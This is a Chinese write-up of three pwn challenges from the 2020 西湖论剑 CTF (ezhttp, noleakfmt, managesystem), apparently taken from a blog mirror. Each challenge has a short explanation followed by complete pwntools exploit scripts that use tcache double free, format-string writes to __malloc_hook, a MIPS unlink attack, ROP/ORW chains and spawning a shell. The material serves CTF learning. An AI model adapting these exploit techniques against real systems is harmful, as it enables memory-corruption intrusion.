zoukankan      html  css  js  c++  java
  • 2020西湖论剑

    ezhttp:

    题目附件

    这一题输入的数据有些麻烦,但是仔细分析还是不难的。memcpy不会被'x00'截断。

    利用思路:

    • 泄漏chunk addr,这一步非常简单。
    • 修改_IO_2_1_stdout_泄漏libc地址。其中flag值的高4位可以随便覆盖,不会影响程序。
    • 利用double free修改__free_hook为setcontext。
    • 利用setcnotext构造ROP链或写入汇编orw

    完整exp如下:

    #!/usr/bin/python
    # coding:utf-8
    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
    p = process('./ezhttp')
    libc = ELF('libc-2.27.so')
    
    def Add(content):
        payload1  = 'POST
    /create
    ' + 'Cookie: user' + '=' + 'admin'  + 'token: ' + '
    
    '
        payload1 += 'content='
        payload1 += content
        p.sendlineafter('==
    ', payload1)
    
    def Delete(index):
        payload1  = 'POST
    /del
    ' + 'Cookie: user' + '=' + 'admin'  + 'token: '
        payload1 += '
    
    '
        payload1 += 'index=' + str(index)
        p.sendlineafter('==
    ', payload1)
    
    def Edit(index, content):
        payload1  = 'POST
    /edit
    ' + 'Cookie: user' + '=' + 'admin'  + 'token: '
        payload1 += '
    
    '
        payload1 += 'index=' + str(index) + '&' + 'content='
        payload1 += content
        p.sendlineafter('==
    ', payload1)
    
    def leak():
        payload1  = 'POST
    /del
    ' + 'Cookie: user' + '=' + 'admin'  + 'token: '
        payload1 += '
    
    ' + 'AAA'
        p.sendlineafter('==
    ', payload1)
    
    def exploit():
        global p
        p = process('./ezhttp')
        Add('A'*0x60) #0
        p.recvuntil('Your gift: ')
        chunk_addr = int(p.recv(14), 16)
        info("chunk_addr ==> " + hex(chunk_addr))
    
        Add('A'*0xa0) #1
    
        # 防止chunk倍top chunk合并
        Add('A'*0x20) #2
        Add('A'*0x10) #3
    
        # double free
        Delete(0)
        Delete(0)
    
        # 填满tcache,把chunk放入unsortedbin中
        for i in range(7):
            Delete(1)
    
        Delete(1)
    
        # 控制tcache,修改main_arena位_IO_2_1_stdout_
        Delete(3)
        Delete(3)
        Delete(3)
        Delete(2)
        Delete(2)
    
        # 修改tcache 0x30处chunk地址
        Add(p64(chunk_addr - 0x208)) #4
        Add('A'*0x18)
    
        # 把_IO_2_1_stdout_添加到tcahce[0x30]
        Add(p64(chunk_addr + 0x70))
    
        # 把_IO_2_1_stdout_放在tcache[0x30]链表头部
        Add('A'*0x20)
        #Add('A'*0x20)
    
        # 在tcache[0x20]处构造double free
        Delete(3)
        Delete(3)
        Delete(3)
    
        # 把 &tcache[0x30]放入tcache[0x20]
        Add(p64(chunk_addr - 0x208))
    
        # 修改地址为 &tcahce[0x30]的值为_IO_2_1_stdout_
        Add('A'*0x8)
        #gdb.attach(p, 'b * $rebase(0x1a78)
    c')
        #Add('x60x07xdd')
        Add('x60xf7')
    
        # 把_IO_2_1_stdout_分配出来,并修改数据
        Add(p32(0xfbad1887) + 'A'*0x1c + 'xc0')
    
        try:
        # leak libc addr
            libc_base = u64(p.recvuntil('x7f')[-6:] + 'x00x00') - 0x3eba00
            libc.address = libc_base
            info("libc_base ==> " + hex(libc_base))
        except:
            p.close()
            return 0
    
        setcontext = libc.symbols['setcontext']
        free_hook = libc.symbols['__free_hook']
        _open = libc.symbols['open']
        _read = libc.symbols['read']
        _write = libc.symbols['write']
        _puts = libc.symbols['puts']
        pop_rdi_ret = libc_base + 0x2155f
        pop_rsi_ret = libc_base + 0x23e8a
        pop_rdx_ret = libc_base + 0x1b96
    
        #rop_chain  = p64(chunk_addr)
        # read函数的第一个参数不一定是4,可以从3开始多次尝试
        rop_chain  = p64(pop_rdi_ret)
        rop_chain += p64(pop_rdi_ret) + p64(chunk_addr + 0x220) + p64(pop_rsi_ret) + p64(0) + p64(_open) # address of flag
        rop_chain += p64(pop_rdi_ret) + p64(4) + p64(pop_rsi_ret) + p64(chunk_addr + 0x300) + p64(pop_rdx_ret) + p64(0x50) + p64(_read)
        rop_chain += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(chunk_addr + 0x300) + p64(pop_rdx_ret) + p64(0x50) + p64(_write)
        rop_chain += p64(chunk_addr + 0x170) + p64(pop_rdi_ret)
        rop_chain += 'flagx00x00x00x00'
    
    
        # 修补unsortbin
        Edit(7, p64(libc_base + 0x3ebca0) + p64(libc_base + 0x3ebca0))
    
        # malloc 一个chunk把rop_chain写入
        Add('A'*0xe0)
        info("chunk_addr ==> " + hex(chunk_addr))
        Edit(12, rop_chain)
    
        # double free
        Delete(3)
        Delete(3)
        Delete(3)
        Add(p64(free_hook))
        Add(p64(free_hook))
        Add(p64(setcontext + 0x35))
        Delete(12)
        p.interactive()
        p.close()
        return 1
    
    if __name__ == '__main__':
        while True:
            a = exploit()
            if a:
                break

    exp2.py如下:

    #!/usr/bin/python
    # coding:utf-8
    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
    p = process('./ezhttp')
    libc = ELF('libc-2.27.so')
    
    def Add(content):
        payload1  = 'POST
    /create
    ' + 'Cookie: user' + '=' + 'admin'  + 'token: ' + '
    
    '
        payload1 += 'content='
        payload1 += content
        p.sendlineafter('==
    ', payload1)
    
    def Delete(index):
        payload1  = 'POST
    /del
    ' + 'Cookie: user' + '=' + 'admin'  + 'token: '
        payload1 += '
    
    '
        payload1 += 'index=' + str(index)
        p.sendlineafter('==
    ', payload1)
    
    def Edit(index, content):
        payload1  = 'POST
    /edit
    ' + 'Cookie: user' + '=' + 'admin'  + 'token: '
        payload1 += '
    
    '
        payload1 += 'index=' + str(index) + '&' + 'content='
        payload1 += content
        p.sendlineafter('==
    ', payload1)
    
    def leak():
        payload1  = 'POST
    /del
    ' + 'Cookie: user' + '=' + 'admin'  + 'token: '
        payload1 += '
    
    ' + 'AAA'
        p.sendlineafter('==
    ', payload1)
    
    def exploit():
        global p
        p = process('./ezhttp')
        Add('A'*0x60) #0
        p.recvuntil('Your gift: ')
        chunk_addr = int(p.recv(14), 16)
        info("chunk_addr ==> " + hex(chunk_addr))
    
        Add('A'*0xa0) #1
    
        # 防止chunk倍top chunk合并
        Add('A'*0x20) #2
        Add('A'*0x10) #3
    
        # double free
        Delete(0)
        Delete(0)
    
        # 填满tcache,把chunk放入unsortedbin中
        for i in range(7):
            Delete(1)
    
        Delete(1)
    
        # 控制tcache,修改main_arena位_IO_2_1_stdout_
        Delete(3)
        Delete(3)
        Delete(3)
        Delete(2)
        Delete(2)
    
        # 修改tcache 0x30处chunk地址
        Add(p64(chunk_addr - 0x208)) #4
        Add('A'*0x18)
    
        # 把_IO_2_1_stdout_添加到tcahce[0x30]
        Add(p64(chunk_addr + 0x70))
    
        # 把_IO_2_1_stdout_放在tcache[0x30]链表头部
        Add('A'*0x20)
    
        # 在tcache[0x20]处构造double free
        Delete(3)
        Delete(3)
        Delete(3)
    
        # 把 &tcache[0x30]放入tcache[0x20]
        Add(p64(chunk_addr - 0x208))
    
        # 修改地址为 &tcahce[0x30]的值为_IO_2_1_stdout_
        Add('A'*0x8)
        Add('x60xf7')
    
        # 把_IO_2_1_stdout_分配出来,并修改数据
        Add(p32(0xfbad1887) + 'A'*0x1c + 'xc0')
    
        try:
        # leak libc addr
            libc_base = u64(p.recvuntil('x7f')[-6:] + 'x00x00') - 0x3eba00
            libc.address = libc_base
            info("libc_base ==> " + hex(libc_base))
        except:
            p.close()
            return 0
    
        setcontext = libc.symbols['setcontext']
        free_hook = libc.symbols['__free_hook']
        mprotect = libc.symbols['mprotect']
    
        #orw  = p64(chunk_addr + 0x268)
        orw  = shellcraft.open("flag", 0)
        orw += shellcraft.read('rax', chunk_addr + 0x300, 0x50)
        orw += shellcraft.write(1, chunk_addr + 0x300, 0x50)
    
        # 构造满足mprotect和orw的数据
        payload = 'x00'*0x68 + p64(chunk_addr - 0x260) # rsi
        payload = payload.ljust(0x70, 'x00')
        payload += p64(0x1000) # rsi
        payload = payload.ljust(0x88, 'x00')
        payload += p64(0x7) # rdx
        payload = payload.ljust(0xa0, 'x00')
        payload += p64(chunk_addr + 0x70) # rsp
        payload += p64(mprotect)
    
        # 修补unsortbin
        Edit(7, p64(libc_base + 0x3ebca0) + p64(libc_base + 0x3ebca0))
    
        # malloc 一个chunk把rop_chain写入
        Add('A'*0xe0)
        info("chunk_addr ==> " + hex(chunk_addr))
        Edit(12, payload)
    
        # malloc chunk写入orw
        Add('A'*0xa0)
        Edit(13, p64(chunk_addr + 0x78) + asm(orw))
    
        # double free 控制__free_hook
        Delete(3)
        Delete(3)
        Delete(3)
        Add(p64(free_hook))
        Add(p64(free_hook))
        Add(p64(setcontext + 0x35))
        Delete(12)
        p.interactive()
        p.close()
        return 1
    
    if __name__ == '__main__':
        while True:
            a = exploit()
            if a:
                break

    noleakfmt

    题目附件

    这题题目给了一个泄漏栈地址的函数,之后就把输出关了。拿到flag一般常规操作就是orw或者getshell。格式化字符串不好布置orw所需的调用链,所以我们考虑getshell。

    知识点:

    • 修改_IO_2_1_stdout_的fileno的值为0x2可以从标准错误输出回显打印出的字符
    • printf打印的的字符过多时会调用malloc开辟缓冲区

    利用思路:

    • 调用printf函数时会把_IO_2_1_stdout_的地址入栈。通过修改printf的函数返回地址为start可以使栈向低地址生长,这样就可以利用栈中的_IO_2_1_stdout_的地址
    • 修改_IO_2_1_stdout_的fileno的值为0x2
    • 此时打印的字符可回显,泄漏libc地址
    • 修改栈中的数据为__malloc_hook的地址
    • 向__malloc_hook中写入one_gadget
    • 利用printf打印大量字符调用malloc
    • cat flag 1>&2

    完整exp如下。脚本可能需要跑很多次:

    #!/usr/bin/python3
    #-*- coding:utf8 -*-
    from pwn import *
    context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
    context.log_level = 'debug'
    libc = ELF('libc.so.6')
    
    def pwn(param1, param2, param3, p):
        payload = '%{}c%{}${}'.format(param1, param2, param3)
        p.sendline(payload)
    
    def leak(p):
        p.recvuntil('gift : ')
        stack_addr = p.recv(14)
        addr = int(stack_addr, 16)
        info("addr ==> " + hex(addr))
        return addr
        
    
    def exploit():
        p = process('./noleakfmt')
    
        start = 0x7b0
        #start = 0x8e0
    
        # leak stack addr
        addr = leak(p)
    
        offset = (addr - 12) & 0xffff
        info("offset ==> " + hex(offset))
    
        # 限制在这个范围才能正常使用%n
        if offset > 0x2000 or offset < 0x66c:
            p.close()
            return 0
    
        #################################################################
        #gdb.attach(p)
        pwn(offset, 11, 'hn', p)
        # 修改printf的返回值为start,使栈向低地址方向生长
        #gdb.attach(p)
        pwn(start, 37, 'hn', p)
    
        # 修改_IO_2_1_stdout_中的fileno=0x2
        offset = (addr - 0x54) & 0xffff
        info("offset ==> " + hex(offset))
    
        # 修改栈数据
        # 这里因为地址问题可能导致程序崩溃
        pwn(offset, 10, 'hn', p)
    
        # 修改栈中的_IO_2_1_stdout_指针指向fileno
        pwn(0x90, 36, 'hhn', p)
        # 修改fileno的值为0x2
        pwn(2, 26, 'hhn', p)
        #################################################################
    
        # leak libc address
        #gdb.attach(p)
        pwn(1, 9, 'p', p)
        p.recvuntil('x01x01')
        libc_base = int(p.recv(14), 16) - 0x20840
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))
    
        one_gadget = [0x45226 + libc_base, 0x4527a + libc_base, 0xf0364 + libc_base, 0xf1207 + libc_base]
        malloc_hook = libc.symbols['__malloc_hook']
    
        # 把__malloc_hook添加到栈上
        pwn((malloc_hook & 0xffff), 36, 'hn', p) 
        # 向__malloc_hook中写入one_gadget
        pwn((one_gadget[3] & 0xffff), 26, 'hn', p)
    
        pwn(((malloc_hook + 2) & 0xffff), 36, 'hn', p) 
        pwn(((one_gadget[3] >> 16) & 0xffff), 26, 'hn', p)
    
        pwn(((malloc_hook + 4) & 0xffff), 36, 'hn', p) 
        #gdb.attach(p)
        pwn(((one_gadget[3] >> 32) & 0xffff), 26, 'hn', p)
    
        p.sendline("%99999c%10$n")
        p.sendline("cat flag 1>&2")
    
        p.interactive()
        p.close()
        return 1
    
    if __name__ == '__main__':
        while True:
            a = exploit()
            if a:
                break

    参考博客

    managesystem

    题目附件

    这是一道mips的pwn题。这是我第一次做mips的题目,花了好长时间才勉强能看懂mips指令。

    查看程序保护,发现都没开。

        Arch:     mips-32-little
        RELRO:    No RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
        RWX:      Has RWX segments

    在Edit函数中存在8个字节的溢出。

    第一次做mips的题目,对heap的管理机制并不了解。随便试了几次发现和glibc的管理机制差不多。

    利用思路

    • 通过unlink控制0x411830,这个地址的内存中存放的是分配出的chunk的地址
    • 修改其中一个chunk的地址为free在got表中的值
    • 泄漏libc地址
    • 修改0x4117b4中的值为system函数的地址
    • 随便向一个chunk中写入/bin/shx00',free这个chunk

    exp如下:

    from pwn import *
    context(os = 'linux', arch = 'mips', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
    libc = ELF('./lib/libc.so.0')
    
    DEBUG = 0
    
    if DEBUG:
        p = process(['./qemu-mipsel-static', '-g', '1234', '-L', './', './managesystem'])
    else:
        p = process(['./qemu-mipsel-static', '-L', './', './managesystem'])
    
    def Add(length, content):
        p.sendlineafter('options >> ', '1')
        p.sendlineafter('length: ', str(length))
        p.sendafter('info: ', content)
    
    def Delete(index):
        p.sendlineafter('options >> ', '2')
        p.sendlineafter('index of user: ', str(index))
    
    def Edit(index, content):
        p.sendlineafter('options >> ', '3')
        p.sendlineafter('index of user you want edit: ', str(index))
        p.sendafter('info: ', content)
    
    def Show(index):
        p.sendlineafter('options >> ', '4')
        p.sendlineafter('index of user you want show: ', str(index))
    
    chunk_array = 0x411830
    
    Add(0x50, 'A'*0x50)
    Add(0x50, 'A'*0x50)
    Add(0x50, 'A'*0x50)
    Add(0x50, 'A'*0x50)
    
    payload  = p32(0) + p32(0x51)
    payload += p32(chunk_array - 0xc) + p32(chunk_array - 0x8)
    payload += 'A'*0x40
    payload += p32(0x50) + p32(0x58)
    Edit(0, payload)
    
    Delete(1)
    
    payload = 'x00'*8 + p32(0x411830) + p32(0x50) + p32(0x4117b4) + p32(0x50)
    Edit(0, payload)
    
    Show(1)
    
    p.recvuntil('info: ')
    libc_base = u32(p.recv(4)) - 0x56b68
    libc.address = libc_base
    info('libc_base ==> ' + hex(libc_base))
    
    system = libc.symbols['system']
    
    Edit(1, p32(system))
    Edit(2, '/bin/shx00')
    Delete(2)
    
    p.interactive()

    参考博客

  • 相关阅读:
    一些文件的扩展名
    关于git,从svn转到git
    trousers--------dpkg: 处理软件包 trousers (--configure)时报错
    Ubuntu下运行DrClient以上网
    Ubuntu下的终端命令--复制文件从一个文件夹到另一个文件夹下
    VSCode放大字体的快捷键
    opessl版本过低造成的函数使用错误
    python的基本语法
    ubuntu和windows的解码方式
    ubuntu下强制删除文件夹
  • 原文地址:https://www.cnblogs.com/countfatcode/p/13851783.html
Copyright © 2011-2022 走看看